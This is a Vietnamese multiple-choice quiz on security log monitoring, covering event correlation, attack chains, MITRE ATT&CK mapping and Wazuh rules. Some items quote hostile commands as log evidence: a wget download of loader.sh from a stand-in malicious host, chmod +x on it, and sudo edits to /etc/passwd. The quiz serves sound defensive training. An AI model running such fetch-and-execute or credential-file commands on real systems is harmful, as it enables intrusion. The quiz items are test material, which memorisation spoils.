Bài 7 giám sát attt

Một log event trong hệ thống bảo mật mô tả điều gì?

• Hành vi của người dùng, tiến trình hoặc thành phần mạng tại một thời điểm

• Cấu hình hệ thống mạng

• Thông số của firewall

• Kiến trúc mạng nội bộ

Yếu tố nào thường được dùng để gom nhóm log sự kiện?

• Cùng IP nguồn hoặc đích

• Mức độ ưu tiên của firewall

• Cấu hình hệ điều hành

• Loại thiết bị lưu trữ

Đâu là dấu hiệu khởi đầu trong một chuỗi sự kiện tấn công mạng?

• SSH brute-force failed attempts

• Tạo tài khoản mới trên hệ thống

• Tải file log từ máy chủ

• Phân tích log bằng phần mềm

Nếu log hệ thống ghi nhận một lệnh wget http://malicious.site/loader.sh, hành vi này phản ánh điều gì?

• Tải mã độc về từ Internet

• Khôi phục hệ thống từ bản backup

• Cập nhật thư viện bảo mật

• Phân tích log tự động

Sự kiện “chmod +x loader.sh” sau khi tải script phản ánh hành động gì?

• Gán quyền thực thi cho script

• Mã hóa dữ liệu đầu vào

• Nén file log hệ thống

• Gán quyền root cho người dùng

Khi phân tích chuỗi log, việc đồng bộ thời gian có tác dụng gì? (chọn 2)

• Xác định chính xác thứ tự các hành động

• Liên kết sự kiện từ các nguồn khác nhau

• Xóa các bản ghi lỗi

• Phân mảnh dữ liệu log

Chuỗi sự kiện nào sau đây phù hợp với kịch bản hậu xâm nhập? (chọn 2)

• curl loader.sh → chmod +x loader.sh

• Sudo chỉnh sửa /etc/passwd

• Ping đến 8.8.8.8

• Kiểm tra kết nối mạng nội bộ

Việc mapping với MITRE ATT&CK có những vai trò gì trong phân tích sự kiện? (chọn 2)

• Xác định kỹ thuật tấn công cụ thể

• Gán mỗi hành vi với tactic tương ứng trong attack lifecycle

• Tự động hóa cập nhật hệ điều hành

• Tạo bản đồ địa lý các địa chỉ IP

Một luật Wazuh sử dụng thẻ và nhằm mục đích gì?

• Xác định số lần xảy ra trong một khoảng thời gian

• Tạo định dạng cho log file

• Tự động gửi báo cáo qua email

• Lưu trữ log ngắn hạn

Một hành vi gán quyền thực thi chmod +x cho script tải về thường được phát hiện bởi:

• Rule phân tích hành vi thực thi trên thư mục /tmp

• Rule phát hiện upload ảnh lên server

• Rule cấu hình NAT

• Rule phát hiện thời gian bật máy